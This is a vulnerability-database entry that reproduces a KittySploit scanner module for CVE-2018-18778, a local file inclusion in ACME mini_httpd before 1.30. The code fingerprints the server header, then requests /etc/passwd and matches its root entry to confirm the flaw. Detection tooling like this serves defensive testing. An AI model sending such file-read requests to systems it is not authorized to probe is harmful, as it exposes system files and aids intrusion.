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ACME mini_httpd <1.30 - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Local File Inclusion in ACME mini_httpd.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ACME mini_httpd before 1."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'ACME mini_httpd <1.30 - Local File Inclusion Detection',
        'description': 'ACME mini_httpd before 1.30 is vulnerable to local file inclusion.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'lfi', 'mini_httpd', 'acme', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/',
            'http://www.acme.com/software/mini_httpd/',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-18778',
            'https://github.com/0xT11/CVE-POC',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2018-18778',
    }

    def run(self):
        path = '/'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_any = ('Server: mini_httpd',)
        if not (any(m in headers for m in header_any)):
            return False
        path = '/etc/passwd'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if any(re.search(rx, body) for rx in body_regexes):
            self.set_info(severity='medium', reason='ACME mini_httpd <1.30 - Local File Inclusion detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
7High risk
Vulners AI Score7
CVSS 24
CVSS 36.5
EPSS0.70791
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